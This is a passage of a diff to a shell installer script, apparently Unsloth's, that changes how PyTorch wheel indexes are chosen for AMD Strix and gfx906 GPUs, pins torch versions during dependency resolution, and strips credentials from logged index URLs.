"$_strix_gfx" ]; then + if [ "$_gfx906_env" != "gfx906" ]; then + case "$_runtime_gfx" in + gfx1151|gfx1150|gfx1152) _strix_gfx="$_runtime_gfx" ;; + esac + fi + # Skip rocm7.13+ generic indexes: they already ship the fixes, so the + # arch build (rocm7.13) would be a downgrade rather than a rescue. + if [ -n "$_strix_gfx" ] && _rocm_leaf_below "$_torch_index_leaf" 7 13; then echo "" >&2 - echo " [WARN] $_strix_gfx (Strix) + ROCm 7.1 detected -- known _grouped_mm segfault" >&2 - echo " [WARN] ROCm 7.1 wheels are broken for gfx1150/gfx1151 (moe_utils.py:167)" >&2 - echo " [WARN] Routing to AMD arch-specific index (torch 2.11+rocm7.13 has the real fix)" >&2 - echo " [WARN] Upgrade ROCm to 7.2+ to use the standard index:" >&2 - echo " [WARN] https://rocm.docs.amd.com/en/latest/deploy/linux/index.html" >&2 + echo " [WARN] $_strix_gfx (Strix) detected -- routing to the AMD arch-specific index" >&2 + echo " [WARN] torch 2.11+rocm7.13 has AMD's real gfx1150/gfx1151 fixes (the ROCm 7.1" >&2 + echo " [WARN] _grouped_mm segfault, moe_utils.py:167, and later Strix kernel bugs)," >&2 + echo " [WARN] and is more reliable than the rocm7.2 index or an offline Radeon repo." >&2 echo "" >&2 # AMD's arch-specific index serves torch 2.11.0+rocm7.13.0 which has AMD's # actual fix for the gfx1151/gfx1150 _grouped_mm kernel bug -- preferred @@ -2273,10 +3541,82 @@ case "$TORCH_INDEX_URL" in done TORCH_INDEX_URL="${_amd_strix_base}/${_strix_gfx}/" TORCH_CONSTRAINT="torch>=2.11.0,<2.12.0" + # Pin companions to 2.11 (per-gfx index publishes them independently). + TORCHVISION_CONSTRAINT="torchvision>=0.26.0,<0.27.0" + TORCHAUDIO_CONSTRAINT="torchaudio>=2.11.0,<2.12.0" _amd_gpu_radeon=false fi + # ── MI50 / Radeon VII (gfx906, Vega 20): legacy community-supported path ── + # Newer rocm wheel families bundle ROCm libraries whose Tensile kernels + # dropped gfx906 (rocBLAS "TensileLibrary.dat ... not read for gfx906", + # ROCm/TheRock#1844), so a rocm6.4+/7.x index installs a torch that fails + # at the first BLAS call. The rocm6.3 index is the last one whose wheels + # run on gfx906 (torch 2.7.0 verified on MI50 32GB; up to 2.9 in community + # use). Reroute any newer picked index; leave rocm6.0-6.3 alone. + # + # Target resolution: an explicit UNSLOTH_ROCM_GFX_ARCH wins (lets a host + # whose rocminfo/amd-smi emit no gfx token still opt in; _gfx906_env was + # lowercased above, before the Strix block it suppresses). Otherwise only + # treat gfx906 as the target when it is the SOLE distinct arch present: + # _gfx_all is de-duplicated by visible index, which loses per-device + # ordinals on a mixed host, so a non-gfx906 selection must never be + # downgraded to rocm6.3 -- such hosts set UNSLOTH_ROCM_GFX_ARCH to opt in. + _gfx906_target=false + if [ -n "$_gfx906_env" ]; then + [ "$_gfx906_env" = "gfx906" ] && _gfx906_target=true + elif [ -n "$_gfx_all" ]; then + _gfx906_uniq=$(printf '%s\n' "$_gfx_all" | awk 'NF && !seen[$0]++') + [ "$_gfx906_uniq" = "gfx906" ] && _gfx906_target=true + fi + # gfx906 always trains from the PyTorch rocm6.3 wheels, never the Radeon repo + # (repo.radeon.com wheels carry no gfx906 BLAS kernels). Clear the Radeon + # marketing-name flag as soon as gfx906 is the target -- even when the host + # already picks rocm6.0-6.3 and the reroute below is a no-op -- so a Radeon VII + # does not divert to the radeon branch on those versions. + if [ "$_gfx906_target" = true ]; then + _amd_gpu_radeon=false + fi + if [ "$_gfx906_target" = true ] && ! _rocm_leaf_below "$_torch_index_leaf" 6 4; then + echo "" >&2 + echo " [WARN] gfx906 (MI50 / Radeon VII / Vega 20) detected -- routing torch to the" >&2 + echo " [WARN] rocm6.3 index: it is the last wheel family that runs on gfx906 (newer" >&2 + echo " [WARN] rocm wheels ship without gfx906 BLAS kernels and fail at first use)." >&2 + echo " [WARN] gfx906 is a community-maintained legacy path: 16-bit LoRA and full" >&2 + echo " [WARN] finetuning work out of the box; bitsandbytes 4-bit QLoRA requires a" >&2 + echo " [WARN] source build of bitsandbytes for gfx906 (see docs.unsloth.ai/amd)." >&2 + echo "" >&2 + _amd_gfx906_base="${UNSLOTH_PYTORCH_MIRROR:-https://download.pytorch.org/whl}" + while [ "${_amd_gfx906_base%/}" != "$_amd_gfx906_base" ]; do + _amd_gfx906_base="${_amd_gfx906_base%/}" + done + TORCH_INDEX_URL="${_amd_gfx906_base}/rocm6.3" + # Reset to the default (<2.11) window: a rocm7.2 pick raised the floor + # to 2.11 above, which the rocm6.3 index (torch <= 2.9.x) cannot satisfy. + TORCH_CONSTRAINT="torch>=2.4,<2.11.0" + TORCHVISION_CONSTRAINT="torchvision>=0.19,<0.26.0" + TORCHAUDIO_CONSTRAINT="torchaudio>=2.4,<2.11.0" + # (_amd_gpu_radeon already cleared above for every gfx906 target.) + fi ;; esac +fi # _torch_index_pinned guard (Radeon + Strix reroute) +# Re-run over an existing install: keep the previous venv's torch RELEASE; the fresh +# index above supplies the right flavor for this machine. Evaluated HERE, after every +# index/constraint decision including the Strix reroute, so the window checked is the +# final one and a raised floor (rocm7.2 / Strix gfx) rejects an older release. +# _PREV_FALLBACK_CONSTRAINT keeps the range so the install can fall back when the exact +# release is not on the chosen index (mirrors may prune old wheels). Skipped for --no-torch. +_PREV_TORCH_PIN="" +_PREV_FALLBACK_CONSTRAINT="$TORCH_CONSTRAINT" +if [ "$SKIP_TORCH" = false ]; then + _prev_pin=$(_previous_torch_pin "$_PREV_TORCH_VER" "$TORCH_CONSTRAINT") + if [ -n "$_prev_pin" ]; then + _PREV_TORCH_PIN="$_prev_pin" + TORCH_CONSTRAINT="$_prev_pin" + substep "existing install has torch $_PREV_TORCH_VER -- keeping it (set UNSLOTH_TORCH_UPGRADE=1 to get the newest release)" + fi +fi + _TAURI_TORCH_INDEX_FAMILY=$(_tauri_torch_index_family "$TORCH_INDEX_URL") if [ "$_amd_gpu_radeon" = true ] && [ "$SKIP_TORCH" = false ]; then _TAURI_TORCH_INDEX_FAMILY="radeon" @@ -2324,12 +3664,14 @@ elif case "$TORCH_INDEX_URL" in */rocm*|*/gfx*) true ;; *) false ;; esac; then # gfx1102 matched BEFORE gfx1100 so the spaceless "RX 7700S" lands on # gfx1102 (bash case has no negative lookahead like the PS tables). case "$_gpu_disp_mkt" in - *"9070 XT"*|*9080*) _gpu_disp_gfx="gfx1201" ;; # RDNA 4 - *9070*|*9060*) _gpu_disp_gfx="gfx1200" ;; # RDNA 4 - *"8060S"*|*"8050S"*|*"8040S"*|*"Strix Halo"*|*"Ryzen AI Max"*|*"AI Max"*) _gpu_disp_gfx="gfx1151" ;; # RDNA 3.5 (Strix Halo: Radeon 8060S/8050S/8040S iGPU, Ryzen AI Max+) - *"890M"*|*"880M"*|*"860M"*|*"840M"*|*"Strix Point"*|*"Krackan"*|*"HX 37"*|*"AI 9 HX"*|*"AI 9 36"*|*"AI 7 35"*|*"AI 5 34"*|*"AI 7 PRO 35"*|*"AI 5 33"*) _gpu_disp_gfx="gfx1150" ;; # RDNA 3.5 (Strix/Krackan Point: Radeon 890M/880M iGPU, Ryzen AI 9 HX 370/375) - *"RX 7600"*|*"RX 7700S"*|*"RX 7650"*|*"PRO W7600"*|*"PRO W7500"*|*"PRO V710"*) _gpu_disp_gfx="gfx1102" ;; # RDNA 3 (Navi 33) - *"RX 7900"*|*"RX 7800"*|*"RX 7700"*|*"PRO W7900"*|*"PRO W7800"*|*"PRO W7700"*) _gpu_disp_gfx="gfx1100" ;; # RDNA 3 desktop / workstation (Navi 31) + *9070*|*9080*) _gpu_disp_gfx="gfx1201" ;; # RDNA 4 (Navi 48) + *9060*) _gpu_disp_gfx="gfx1200" ;; # RDNA 4 (Navi 44) + *"8065S"*|*"8060S"*|*"8050S"*|*"8040S"*|*"Strix Halo"*|*"Ryzen AI Max"*|*"AI Max"*) _gpu_disp_gfx="gfx1151" ;; # RDNA 3.5 (Strix Halo + Gorgon Halo: Radeon 8065S/8060S/8050S/8040S iGPU, Ryzen AI Max / Max+) + *"890M"*|*"880M"*|*"Strix Point"*|*"HX 37"*|*"AI 9 HX"*|*"AI 9 36"*) _gpu_disp_gfx="gfx1150" ;; # RDNA 3.5 (Strix Point: Radeon 890M/880M, Ryzen AI 9 HX 370/375) + *"860M"*|*"840M"*|*"Krackan"*|*"AI 7 35"*|*"AI 5 34"*|*"AI 7 PRO 35"*|*"AI 5 33"*) _gpu_disp_gfx="gfx1152" ;; # RDNA 3.5 (Krackan Point: Radeon 860M/840M, Ryzen AI 7 350 / AI 5 340) + *"RX 7600"*|*"RX 7700S"*|*"RX 7650"*|*"PRO W7600"*|*"PRO W7500"*) _gpu_disp_gfx="gfx1102" ;; # RDNA 3 (Navi 33) + *"RX 7800"*|*"RX 7700"*|*"PRO W7700"*|*"PRO V710"*) _gpu_disp_gfx="gfx1101" ;; # RDNA 3 (Navi 32) + *"RX 7900"*|*"PRO W7900"*|*"PRO W7800"*) _gpu_disp_gfx="gfx1100" ;; # RDNA 3 desktop / workstation (Navi 31) *"780M"*|*"760M"*|*"740M"*|*"Phoenix"*|*"Hawk Point"*|*"Z1 Extreme"*|*"Z2 Extreme"*) _gpu_disp_gfx="gfx1103" ;; # RDNA 3 iGPU (Phoenix / Hawk Point) *"RX 6900"*|*"RX 6800"*|*"RX 6750"*|*"RX 6700"*|*"PRO W6800"*|*"PRO W6900"*) _gpu_disp_gfx="gfx1030" ;; # RDNA 2 (Navi 21) *"RX 6650"*|*"RX 6600"*|*"PRO W6600"*|*"PRO W6650"*) _gpu_disp_gfx="gfx1032" ;; # RDNA 2 (Navi 23) @@ -2358,6 +3700,20 @@ elif case "$TORCH_INDEX_URL" in */rocm*|*/gfx*) true ;; *) false ;; esac; then substep "ROCm: $_rocm_root" [ -n "$_gpu_rocm_ver" ] && substep "hipconfig: $_gpu_rocm_ver" [ -n "$_gpu_disp_mkt" ] && [ -n "$_gpu_disp_gfx" ] && substep "GPU: $_gpu_disp_mkt" +elif [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; then + # Apple Silicon: PyTorch gets Metal (MPS) acceleration over unified memory, so not CPU-only. + step "gpu" "Apple Silicon (Metal, unified memory)" +elif _has_amd_rocm_gpu; then + if [ "$_torch_index_pinned" = true ]; then + # An explicit UNSLOTH_TORCH_INDEX_URL/_FAMILY pin skipped all probing; + # do not claim ROCm is unusable when a CPU/other index was requested. + step "gpu" "AMD GPU (torch index pinned: $_torch_index_leaf)" "$C_WARN" + else + # AMD GPU visible to the kernel but the torch index stayed CPU: no usable + # ROCm userspace to pick a wheel. "none" would repeat the false diagnosis + # this installer used to give. + step "gpu" "AMD GPU (no usable ROCm -- CPU fallback)" "$C_WARN" + fi else step "gpu" "none (CPU-only)" "$C_WARN" fi @@ -2366,8 +3722,17 @@ fi case "$TORCH_INDEX_URL" in */cpu) if [ "$SKIP_TORCH" = false ] && [ "$OS" != "macos" ]; then - substep "No GPU detected -- installing CPU-only PyTorch." "$C_WARN" - if [ "$OS" = "wsl" ]; then + if [ "$_torch_index_pinned" = true ]; then + # An explicit CPU pin is a request, not a detection failure: + # skip the SDK guidance (ROCm may be perfectly healthy here). + substep "CPU-only PyTorch (index pinned via UNSLOTH_TORCH_INDEX_URL / _FAMILY)." + elif _has_amd_rocm_gpu; then + substep "AMD GPU detected, but no usable ROCm/HIP install -- installing CPU-only PyTorch." "$C_WARN" + substep "Install the ROCm/HIP SDK and re-run this installer for GPU PyTorch." "$C_WARN" + else + substep "No GPU detected -- installing CPU-only PyTorch." "$C_WARN" + fi + if [ "$OS" = "wsl" ] && [ "$_torch_index_pinned" = false ]; then # WSL + no GPU detected (detection above found nothing). Common # cause: an AMD GPU whose ROCm-on-WSL runtime isn't exposed yet -- # /dev/dxg present (graphics) but no ROCm runtime. @@ -2394,6 +3759,13 @@ case "$TORCH_INDEX_URL" in substep " driver is current; or run unsloth/scripts/install_rocm_wsl_strixhalo.sh yourself." else substep "AMD ROCm users: see https://docs.unsloth.ai/get-started/install-and-update/amd" + # Only when ROCm truly can't see the GPU: a detected-but-too-old + # ROCm (rocminfo works, wheels need 6.0+) has its own guidance. + if ! _has_amd_rocm_gpu && _amd_gpu_present_via_pci; then + substep "An AMD GPU is on the PCI bus but ROCm cannot see it (no /dev/kfd," "$C_WARN" + substep " rocminfo, or amd-smi). Install the ROCm kernel stack so /dev/kfd exists;" + substep " Strix Halo (gfx1151/gfx1150) needs a recent kernel (6.11+) and ROCm 7.x." + fi fi substep "Re-run with --no-torch for GGUF-only (faster, no PyTorch):" substep " curl -fsSL https://unsloth.ai/install.sh | sh -s -- --no-torch" @@ -2403,7 +3775,7 @@ case "$TORCH_INDEX_URL" in if [ "$_amd_gpu_radeon" = true ]; then substep "wheels: repo.radeon.com (Radeon)" else - substep "wheels: $TORCH_INDEX_URL" + substep "wheels: $(_strip_index_url_credentials "$TORCH_INDEX_URL")" fi ;; esac @@ -2411,58 +3783,100 @@ esac # ── Install unsloth directly into the venv (no activation needed) ── tauri_log "STEP" "Installing PyTorch" _VENV_PY="$VENV_DIR/bin/python" + +# A released unsloth wheel can pin an older torch (unsloth 2026.7.2 declares +# torch<2.11.0); a with-deps PyPI resolve then downgrades the whole trio, +# swapping the pinned +cuXXX/+rocm build for PyPI's default. The flavor guard +# below misses this (PyPI's torch 2.10 default is itself cu128-flavored), so +# freeze the trio via uv --overrides (overrides replace dependency requirements +# during resolution) while unsloth's other deps resolve normally. Sets +# _UNSLOTH_TORCH_OVERRIDES from the trio in the venv; every with-deps unsloth +# install (migrated and fresh) must call this before resolving and rm it after. +_build_unsloth_torch_overrides() { + _UNSLOTH_TORCH_OVERRIDES="" + [ "$SKIP_TORCH" = false ] || return 0 + _torch_trio_pins=$("$_VENV_PY" -c " +from importlib.metadata import version, PackageNotFoundError +for _p in ('torch', 'torchvision', 'torchaudio'): + try: + print(_p + '==' + version(_p)) + except PackageNotFoundError: + pass +" 2>/dev/null) || _torch_trio_pins="" + case "$_torch_trio_pins" in + torch==*) + _UNSLOTH_TORCH_OVERRIDES=$(mktemp) + printf '%s\n' "$_torch_trio_pins" > "$_UNSLOTH_TORCH_OVERRIDES" + # The CLI --overrides flag replaces any UV_OVERRIDE env file (same + # uv setting; macOS arm64 exports one here), so fold its pins in. + # awk, not cat: it drops inherited torch-trio lines (uv intersects + # duplicate overrides, so a conflicting pin would make resolution + # unsatisfiable) and newline-terminates the last line so an + # unterminated file cannot join two requirements into one. + for _ov_file in ${UV_OVERRIDE:-}; do + [ -f "$_ov_file" ] && awk '!/^[[:space:]]*torch(vision|audio)?([[:space:]<>=!~;@[]|$)/' "$_ov_file" >> "$_UNSLOTH_TORCH_OVERRIDES" + done + ;; + esac +} + if [ "$_MIGRATED" = true ]; then - # Migrated env: force-reinstall unsloth+unsloth-zoo to ensure clean state - # in the new venv location, while preserving existing torch/CUDA + # Migrated env: force-reinstall unsloth+unsloth-zoo for a clean state, preserving + # existing torch/CUDA unless the ROCm repair below fires. + _gfx906_bnb_snapshot substep "upgrading unsloth in migrated environment..." if [ "$SKIP_TORCH" = true ]; then # No-torch: install unsloth + unsloth-zoo with --no-deps (current # PyPI metadata still declares torch as a hard dep), then install # runtime deps (typer, safetensors, transformers, etc.) with --no-deps # to prevent transitive torch resolution. - run_install_cmd "install unsloth (migrated no-torch)" uv pip install --python "$_VENV_PY" --no-deps \ + run_install_cmd_retry "install unsloth (migrated no-torch)" uv pip install --python "$_VENV_PY" --no-deps \ --reinstall-package unsloth --reinstall-package unsloth-zoo \ - "unsloth>=2026.6.7" unsloth-zoo + "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" # Resolve pydantic WITH deps so pip pins pydantic-core to the # matching version (no-torch-runtime.txt below is --no-deps). # All transitive deps are torch-free. - run_install_cmd "install pydantic (with deps for compatible core)" \ + run_install_cmd_retry "install pydantic (with deps for compatible core)" \ uv pip install --python "$_VENV_PY" pydantic _NO_TORCH_RT="$(_find_no_torch_runtime)" if [ -n "$_NO_TORCH_RT" ]; then - run_install_cmd "install no-torch runtime deps" uv pip install --python "$_VENV_PY" --no-deps -r "$_NO_TORCH_RT" + run_install_cmd_retry "install no-torch runtime deps" uv pip install --python "$_VENV_PY" --no-deps -r "$_NO_TORCH_RT" fi else - run_install_cmd "install unsloth (migrated)" uv pip install --python "$_VENV_PY" \ + # Pin mlx-lm away from 0.31.3 here too: a curl-piped migration has no + # overrides file, so UV_OVERRIDE is unset and this positional is the only cover. + _build_unsloth_torch_overrides + run_install_cmd_retry "install unsloth (migrated)" uv pip install --python "$_VENV_PY" \ + ${_UNSLOTH_TORCH_OVERRIDES:+--overrides "$_UNSLOTH_TORCH_OVERRIDES"} \ --reinstall-package unsloth --reinstall-package unsloth-zoo \ - "unsloth>=2026.6.7" unsloth-zoo + "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" ${_MLX_LM_EXCLUDE_ARG:-} + [ -n "$_UNSLOTH_TORCH_OVERRIDES" ] && rm -f "$_UNSLOTH_TORCH_OVERRIDES" + _UNSLOTH_TORCH_OVERRIDES="" fi if [ "$STUDIO_LOCAL_INSTALL" = true ]; then substep "overlaying local repo (editable)..." run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps substep "overlaying unsloth-zoo from git main..." - run_install_cmd "overlay unsloth-zoo (git main)" uv pip install --python "$_VENV_PY" \ + run_install_cmd_retry "overlay unsloth-zoo (git main)" uv pip install --python "$_VENV_PY" \ --no-deps --reinstall-package unsloth-zoo \ "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo" fi # AMD ROCm: install bitsandbytes even in migrated environments so # existing ROCm installs gain the AMD bitsandbytes build without a # fresh reinstall. - if [ "$SKIP_TORCH" = false ]; then - case "$TORCH_INDEX_URL" in - */rocm*) - _install_bnb_rocm "install bitsandbytes (AMD)" "$_VENV_PY" - # Repair ROCm torch if overwritten during migrated install - _has_hip=$("$_VENV_PY" -c "import torch; print(getattr(torch.version,'hip','') or '')" 2>/dev/null || true) - if [ -z "$_has_hip" ]; then - substep "repairing ROCm torch (overwritten by dependency resolution)..." - run_install_cmd "repair ROCm torch" uv pip install --python "$_VENV_PY" \ - "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" \ - --force-reinstall - fi - ;; - esac + if [ "$SKIP_TORCH" = false ] && [ "$_torch_index_is_rocm_family" = true ]; then + if _is_gfx906_bnb_skip; then + substep "gfx906: skipping prebuilt bitsandbytes (no gfx906 kernels); build from source for 4-bit QLoRA -- https://docs.unsloth.ai/get-started/install-and-update/amd" "$C_WARN" + else + _install_bnb_rocm "install bitsandbytes (AMD)" "$_VENV_PY" + fi + # Repair ROCm torch if overwritten during migrated install + _has_hip=$("$_VENV_PY" -c "import torch; print(getattr(torch.version,'hip','') or '')" 2>/dev/null || true) + if [ -z "$_has_hip" ]; then + substep "repairing ROCm torch (overwritten by dependency resolution)..." + _install_torch_default_index --force-reinstall + fi + _gfx906_bnb_prune fi elif [ -n "$TORCH_INDEX_URL" ]; then # Fresh: Step 1 - install torch from explicit index (skip when --no-torch or Intel Mac) @@ -2524,7 +3938,42 @@ elif [ -n "$TORCH_INDEX_URL" ]; then _ta_ver=$(_extract_version "$_ta_whl" "torchaudio") _radeon_versions_match=false - if [ -n "$_torch_ver" ] && [ -n "$_tv_ver" ] && [ -n "$_ta_ver" ]; then + # Kept release (_PREV_TORCH_PIN) wins here too: pick its exact + # patch (else the newest patch of its minor) plus the paired + # vision/audio wheels. Any gap falls back to the newest-trio + # search below, mirroring _install_torch_default_index, so a + # rerun never drifts to another release nor below the kept one. + if [ -n "$_PREV_TORCH_PIN" ]; then + _prev_kept_base="${_PREV_TORCH_PIN#torch==}" + _prev_kept_minor="${_prev_kept_base#*.}" + _prev_kept_minor="${_prev_kept_minor%%.*}" + case "$_prev_kept_minor" in + ''|*[!0-9]*) ;; + *) + _kept_torch=$(_pick_radeon_wheel "torch" "${_prev_kept_base}" 2>/dev/null) || _kept_torch="" + [ -z "$_kept_torch" ] && { _kept_torch=$(_pick_radeon_wheel "torch" "2.${_prev_kept_minor}." 2>/dev/null) || _kept_torch=""; } + _kept_tv=$(_pick_radeon_wheel "torchvision" "0.$((_prev_kept_minor + 15))." 2>/dev/null) || _kept_tv="" + _kept_ta=$(_pick_radeon_wheel "torchaudio" "2.${_prev_kept_minor}." 2>/dev/null) || _kept_ta="" + if [ -n "$_kept_torch" ] && [ -n "$_kept_tv" ] && [ -n "$_kept_ta" ]; then + _torch_whl=$_kept_torch + _tv_whl=$_kept_tv + _ta_whl=$_kept_ta + _tri_whl="" + _radeon_versions_match=true + # Say so when the listing pruned the exact patch + # and a same-series build is installed instead. + case "$(printf '%s' "${_kept_torch##*/}" | sed 's/%2[Bb]/+/g')" in + "torch-${_prev_kept_base}"[+-]*) ;; + *) substep "kept release ${_prev_kept_base} is not in the Radeon listing -- installing the closest 2.${_prev_kept_minor} series build instead" ;; + esac + else + substep "[WARN] Radeon repo lacks a complete wheel set for kept $_PREV_TORCH_PIN -- installing the newest compatible set instead" "$C_WARN" + fi + ;; + esac + fi + if [ "$_radeon_versions_match" != true ] && \ + [ -n "$_torch_ver" ] && [ -n "$_tv_ver" ] && [ -n "$_ta_ver" ]; then _torch_minor=${_torch_ver#*.} _ta_minor=${_ta_ver#*.} _tv_minor=${_tv_ver#*.} @@ -2581,10 +4030,8 @@ elif [ -n "$TORCH_INDEX_URL" ]; then if [ -z "$_torch_whl" ] || [ -z "$_tv_whl" ] || [ -z "$_ta_whl" ] || \ [ "$_radeon_versions_match" != true ]; then - substep "[WARN] Radeon repo lacks a compatible wheel set for this Python; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN" - run_install_cmd "install PyTorch" uv pip install --python "$_VENV_PY" \ - "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" + substep "[WARN] Radeon repo lacks a compatible wheel set for this Python; falling back to ROCm index ($(_strip_index_url_credentials "$TORCH_INDEX_URL"))" "$C_WARN" + _install_torch_default_index else substep "installing PyTorch from Radeon repo (${_RADEON_BASE_URL})..." # Pass explicit wheel URLs so the matched trio is @@ -2594,115 +4041,152 @@ elif [ -n "$TORCH_INDEX_URL" ]; then # filelock / sympy / networkx which are not in the # Radeon listing. if [ -n "$_tri_whl" ]; then - run_install_cmd "install triton + PyTorch" uv pip install --python "$_VENV_PY" \ + run_install_cmd_retry "install triton + PyTorch" uv pip install --python "$_VENV_PY" \ --find-links "$_RADEON_BASE_URL" \ "$_tri_whl" "$_torch_whl" "$_tv_whl" "$_ta_whl" else - run_install_cmd "install PyTorch" uv pip install --python "$_VENV_PY" \ + run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \ --find-links "$_RADEON_BASE_URL" \ "$_torch_whl" "$_tv_whl" "$_ta_whl" fi fi else - substep "[WARN] Radeon repo unavailable; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN" - run_install_cmd "install PyTorch" uv pip install --python "$_VENV_PY" \ - "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" + substep "[WARN] Radeon repo unavailable; falling back to ROCm index ($(_strip_index_url_credentials "$TORCH_INDEX_URL"))" "$C_WARN" + _install_torch_default_index fi else substep "[WARN] Radeon GPU detected but could not detect full ROCm version; falling back to ROCm index" "$C_WARN" - run_install_cmd "install PyTorch" uv pip install --python "$_VENV_PY" \ - "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" + _install_torch_default_index fi else - substep "installing PyTorch ($TORCH_INDEX_URL)..." - run_install_cmd "install PyTorch" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" + substep "installing PyTorch ($(_strip_index_url_credentials "$TORCH_INDEX_URL"))..." + _install_torch_default_index fi # AMD ROCm: install bitsandbytes (once, after torch, for all ROCm paths). # Gate on SKIP_TORCH=false so a user running with --no-torch on a ROCm # host stays in GGUF-only mode rather than pulling in bitsandbytes, # which is only useful once torch is present for training. - if [ "$SKIP_TORCH" = false ]; then - case "$TORCH_INDEX_URL" in - */rocm*) - _install_bnb_rocm "install bitsandbytes (AMD)" "$_VENV_PY" - ;; - esac + if [ "$SKIP_TORCH" = false ] && [ "$_torch_index_is_rocm_family" = true ]; then + if _is_gfx906_bnb_skip; then + substep "gfx906: skipping prebuilt bitsandbytes (no gfx906 kernels); build from source for 4-bit QLoRA -- https://docs.unsloth.ai/get-started/install-and-update/amd" "$C_WARN" + else + _install_bnb_rocm "install bitsandbytes (AMD)" "$_VENV_PY" + fi fi - # Fresh: Step 2 - install unsloth, preserving pre-installed torch + _gfx906_bnb_snapshot + # Fresh: Step 2 - install unsloth, preserving the torch Step 1 installed tauri_log "STEP" "Installing Unsloth" substep "installing unsloth (this may take a few minutes)..." + _build_unsloth_torch_overrides if [ "$SKIP_TORCH" = true ]; then # No-torch: install unsloth + unsloth-zoo with --no-deps, then # runtime deps (typer, safetensors, transformers, etc.) with --no-deps. - run_install_cmd "install unsloth (no-torch)" uv pip install --python "$_VENV_PY" --no-deps \ + run_install_cmd_retry "install unsloth (no-torch)" uv pip install --python "$_VENV_PY" --no-deps \ --upgrade-package unsloth --upgrade-package unsloth-zoo \ - "unsloth>=2026.6.7" unsloth-zoo + "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" # Same pydantic-with-deps trick as the migrated branch. - run_install_cmd "install pydantic (with deps for compatible core)" \ + run_install_cmd_retry "install pydantic (with deps for compatible core)" \ uv pip install --python "$_VENV_PY" pydantic _NO_TORCH_RT="$(_find_no_torch_runtime)" if [ -n "$_NO_TORCH_RT" ]; then - run_install_cmd "install no-torch runtime deps" uv pip install --python "$_VENV_PY" --no-deps -r "$_NO_TORCH_RT" + run_install_cmd_retry "install no-torch runtime deps" uv pip install --python "$_VENV_PY" --no-deps -r "$_NO_TORCH_RT" fi if [ "$STUDIO_LOCAL_INSTALL" = true ]; then substep "overlaying local repo (editable)..." run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps substep "overlaying unsloth-zoo from git main..." - run_install_cmd "overlay unsloth-zoo (git main)" uv pip install --python "$_VENV_PY" \ + run_install_cmd_retry "overlay unsloth-zoo (git main)" uv pip install --python "$_VENV_PY" \ --no-deps --reinstall-package unsloth-zoo \ "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo" fi elif [ "$STUDIO_LOCAL_INSTALL" = true ]; then - run_install_cmd "install unsloth (local)" uv pip install --python "$_VENV_PY" \ - --upgrade-package unsloth "unsloth>=2026.6.7" unsloth-zoo + run_install_cmd_retry "install unsloth (local)" uv pip install --python "$_VENV_PY" \ + ${_UNSLOTH_TORCH_OVERRIDES:+--overrides "$_UNSLOTH_TORCH_OVERRIDES"} \ + --upgrade-package unsloth "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" substep "overlaying local repo (editable)..." run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps substep "overlaying unsloth-zoo from git main..." - run_install_cmd "overlay unsloth-zoo (git main)" uv pip install --python "$_VENV_PY" \ + run_install_cmd_retry "overlay unsloth-zoo (git main)" uv pip install --python "$_VENV_PY" \ --no-deps --reinstall-package unsloth-zoo \ "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo" else - run_install_cmd "install unsloth" uv pip install --python "$_VENV_PY" \ - --upgrade-package unsloth -- "$PACKAGE_NAME" + run_install_cmd_retry "install unsloth" uv pip install --python "$_VENV_PY" \ + ${_UNSLOTH_TORCH_OVERRIDES:+--overrides "$_UNSLOTH_TORCH_OVERRIDES"} \ + --upgrade-package unsloth -- "$PACKAGE_NAME" ${_MLX_LM_EXCLUDE_ARG:-} fi + [ -n "$_UNSLOTH_TORCH_OVERRIDES" ] && rm -f "$_UNSLOTH_TORCH_OVERRIDES" + _UNSLOTH_TORCH_OVERRIDES="" # AMD ROCm: repair torch if the unsloth/unsloth-zoo install pulled in # CUDA torch from PyPI, overwriting the ROCm wheels installed in Step 1. - if [ "$SKIP_TORCH" = false ]; then - case "$TORCH_INDEX_URL" in - */rocm*) - _has_hip=$("$_VENV_PY" -c "import torch; print(getattr(torch.version,'hip','') or '')" 2>/dev/null || true) - if [ -z "$_has_hip" ]; then - substep "repairing ROCm torch (overwritten by dependency resolution)..." - run_install_cmd "repair ROCm torch" uv pip install --python "$_VENV_PY" \ - "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" \ - --force-reinstall - fi - ;; - esac + if [ "$SKIP_TORCH" = false ] && [ "$_torch_index_is_rocm_family" = true ]; then + _has_hip=$("$_VENV_PY" -c "import torch; print(getattr(torch.version,'hip','') or '')" 2>/dev/null || true) + if [ -z "$_has_hip" ]; then + substep "repairing ROCm torch (overwritten by dependency resolution)..." + _install_torch_default_index --force-reinstall + fi + _gfx906_bnb_prune fi else # Fallback: GPU detection failed to produce a URL -- let uv resolve torch tauri_log "STEP" "Installing Unsloth" substep "installing unsloth (this may take a few minutes)..." if [ "$STUDIO_LOCAL_INSTALL" = true ]; then - run_install_cmd "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" unsloth-zoo "unsloth>=2026.6.7" --torch-backend=auto + run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.7.6" "unsloth>=2026.7.5" --torch-backend=auto substep "overlaying local repo (editable)..." run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps substep 